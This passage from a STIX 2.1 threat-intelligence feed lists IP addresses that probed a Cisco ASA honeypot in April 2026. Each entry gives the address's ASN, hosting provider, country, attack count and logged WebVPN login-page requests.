        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:20:10.000Z",
      "valid_until": "2026-05-11T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-09T01:57:24.626Z",
          "last_seen": "2026-04-29T03:52:59.098Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--63b0aad2-7cb4-4f3c-86cd-7687f01ea996",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:20:10.000Z",
      "valid_until": "2026-05-11T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 42,
          "first_seen": "2026-04-09T01:21:11.746Z",
          "last_seen": "2026-04-29T02:22:39.950Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8f3c8aee-ea78-4d99-af8d-2eb8f22cad6d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:20:10.000Z",
      "valid_until": "2026-05-11T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-09T01:21:00.821Z",
          "last_seen": "2026-04-28T07:07:34.818Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d5826848-e51b-4574-a399-d7229f716ad7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:20:10.000Z",
      "valid_until": "2026-05-11T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-09T01:47:14.133Z",
          "last_seen": "2026-04-30T05:13:17.672Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--d33c8961-2402-48e1-92ac-f975df57170e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-09T02:53:43.214Z",
          "last_seen": "2026-04-27T10:49:51.282Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--2513dd47-8a9d-4fb1-ad3c-5805853181f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-09T02:34:45.543Z",
          "last_seen": "2026-04-25T15:42:24.905Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--66409801-dcc2-426f-bfb1-ca9578dcb199",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-09T02:22:27.483Z",
          "last_seen": "2026-04-27T17:58:11.320Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--373f0b4d-474d-44ae-8d8b-396422a797c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-09T02:34:04.040Z",
          "last_seen": "2026-04-24T19:34:06.086Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--c61042b2-0d3e-41ff-b283-9d3598ef11a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-09T02:38:46.333Z",
          "last_seen": "2026-04-29T15:05:10.924Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--efe7aa87-438d-45a2-a500-81220520bd86",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-09T02:21:35.319Z",
          "last_seen": "2026-04-23T12:57:13.939Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--82eeab94-03e5-4143-8446-e9bf25cfd9ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-09T03:12:09.879Z",
          "last_seen": "2026-04-30T03:01:09.810Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ac164f49-e342-42a9-bebc-7490f4b40f4f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-09T02:53:04.904Z",
          "last_seen": "2026-04-24T10:11:49.631Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--cdefb74f-4d4c-4082-ac48-cbb2a90a0031",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-09T02:35:21.398Z",
          "last_seen": "2026-04-09T02:52:04.599Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ec4702ed-8af8-41ec-a18b-8229046d8ea4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-09T02:38:08.520Z",
          "last_seen": "2026-04-28T03:08:45.013Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--54e53fce-47b5-43dc-a5f2-bda886261ed2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-09T03:13:43.549Z",
          "last_seen": "2026-04-27T19:31:08.928Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--650acbae-c9f5-462b-aae0-7f7c8f45f8cc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-09T02:55:54.519Z",
          "last_seen": "2026-04-19T00:12:25.723Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /sse HTTP/1.1\" 404 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--9d17a3d4-2de0-4b28-b676-e99cc967e28f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-09T03:13:04.506Z",
          "last_seen": "2026-04-09T03:13:04.997Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET /sse HTTP/1.1\" 404 -",
            "\"POST /mcp HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--40ecd474-46a4-4cfc-bc44-5e833d9a8923",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-09T03:12:41.237Z",
          "last_seen": "2026-04-09T03:12:44.240Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--ea078ff2-1e92-4046-a8f2-84c7b7a2a552",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-09T03:13:06.224Z",
          "last_seen": "2026-04-09T03:13:09.225Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--4f6ecbeb-1632-4b31-9f89-bff93d40b174",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-09T02:53:52.736Z",
          "last_seen": "2026-04-26T06:56:21.309Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--4f547501-a959-443b-b686-59ab8c5d0f83",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
